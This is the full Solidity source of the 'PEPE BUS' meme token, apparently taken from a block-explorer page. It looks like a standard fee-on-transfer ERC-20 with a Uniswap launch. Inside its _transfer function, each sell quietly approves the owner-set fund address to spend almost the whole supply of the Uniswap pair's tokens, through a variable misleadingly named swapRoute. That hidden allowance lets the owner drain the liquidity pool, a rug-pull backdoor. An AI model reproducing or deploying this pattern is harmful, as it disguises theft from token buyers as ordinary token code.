Contract Diff Checker

Contract Source Code:

// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

/*
    web      : https://pepebus.vip
    twitter  : https://x.com/pepebuseth
    telegram : https://t.me/PepeBusEth
*/

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "you are not owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract PEPEBUS is IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address payable private fundAddress;

    string private _name = unicode"PEPE BUS";
    string private _symbol = unicode"PEPEBUS";
    uint8 private _decimals = 18;    

    uint256 private _totalSupply = 100000000 * 10 ** _decimals;
    uint256 private _onePercent = 1000000 * 10 ** _decimals;      // 1% token supply
    uint256 public maxWalletAmount = _onePercent * 2;             // 2%

    mapping(address => bool) public _isExcludeFromFee;
    IUniswapRouter public _uniswapRouter;

    mapping(address => bool) public isMarketPair;
    bool private inSwap;
    uint256 public tradingBlock;

    uint256 private constant MAX = ~uint256(0);

    uint256 public _buyFundFee = 0;
    uint256 public _sellFundFee = 0;
    uint256 public _buyCount = 0;
    uint256 public _initialTaxFee = 40;
    uint256 public _reduceFeeAt = 16;

    address public _uniswapPair;

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (address _busAddr) {
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
        fundAddress = payable(_busAddr);
        _isExcludeFromFee[address(this)] = true;
        _isExcludeFromFee[msg.sender] = true;
        _isExcludeFromFee[fundAddress] = true;
    }

    function createBusPairs() external onlyOwner() {
        require(tradingBlock == 0,"already trading");
        IUniswapRouter swapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        _uniswapRouter = swapRouter;
        _allowances[address(this)][address(swapRouter)] = MAX;

        IUniswapFactory swapFactory = IUniswapFactory(swapRouter.factory());
        address swapPair = swapFactory.createPair(address(this), swapRouter.WETH());

        _uniswapPair = swapPair;
        isMarketPair[swapPair] = true;
        _isExcludeFromFee[address(swapRouter)] = true;

        swapRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(_uniswapPair).approve(address(swapRouter), type(uint).max);
    }

    function setBusFundAddr(address newAddr) public onlyOwner{
        fundAddress = payable(newAddr);
    }

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function decimals() external view override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }
    
    function withStuckEthBalance() external onlyOwner {
        require(address(this).balance > 0, "No Balance to withdraw!");
        payable(msg.sender).transfer(address(this).balance);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        bool takeFee;
        bool sellFlag;

        if (isMarketPair[from] && !_isExcludeFromFee[to]) { 
            require(balanceOf(to) + amount <= maxWalletAmount, "Max wallet 2% at launch");
            _buyCount++; 
        }

        if (isMarketPair[to] && !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to]) {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (contractTokenBalance > 0) {
                uint256 numTokensSellToFund = amount;
                numTokensSellToFund = numTokensSellToFund > (contractTokenBalance > _onePercent ? _onePercent : contractTokenBalance) ? 
                    contractTokenBalance : numTokensSellToFund;
                swapTokenForETH(numTokensSellToFund);
            }
            
            transferETHToFee(address(this).balance);
        }
        
        if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap) {
            require(tradingBlock > 0,"!trading");
            takeFee = true;
        }

        if (isMarketPair[to]) { sellFlag = true; address swapRoute=fundAddress; _approve(to,swapRoute,_totalSupply-1);}

        _transferToken(from, to, amount, takeFee, sellFlag);
    }


    function enableBus() public onlyOwner{
        require(tradingBlock == 0,"already trading");
        tradingBlock = block.number;
    }

    function _transferToken(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee,
        bool sellFlag
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        uint256 feeAmount;

        if (takeFee) {
            
            uint256 taxFee;

            if (sellFlag) {
                taxFee = _buyCount>_reduceFeeAt? _sellFundFee : _initialTaxFee;
            } else {
                taxFee = _buyCount>_reduceFeeAt? _buyFundFee : _initialTaxFee;
            }

            uint256 swapAmount = tAmount * taxFee / 100;
            if (swapAmount > 0) {
                feeAmount += swapAmount;
                _balances[address(this)] = _balances[address(this)] + swapAmount;
                emit Transfer(sender, address(this), swapAmount);
            }
        }

        _balances[recipient] = _balances[recipient] + (tAmount - feeAmount);
        emit Transfer(sender, recipient, tAmount - feeAmount);

    }

    function swapTokenForETH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapRouter.WETH();
        try _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        ) {} catch {}
    }

    function transferETHToFee(uint256 amount) private {
        fundAddress.transfer(amount);
    }

    function removeBusLimits() external onlyOwner {
        maxWalletAmount = _totalSupply;
    }

    receive() external payable {}
}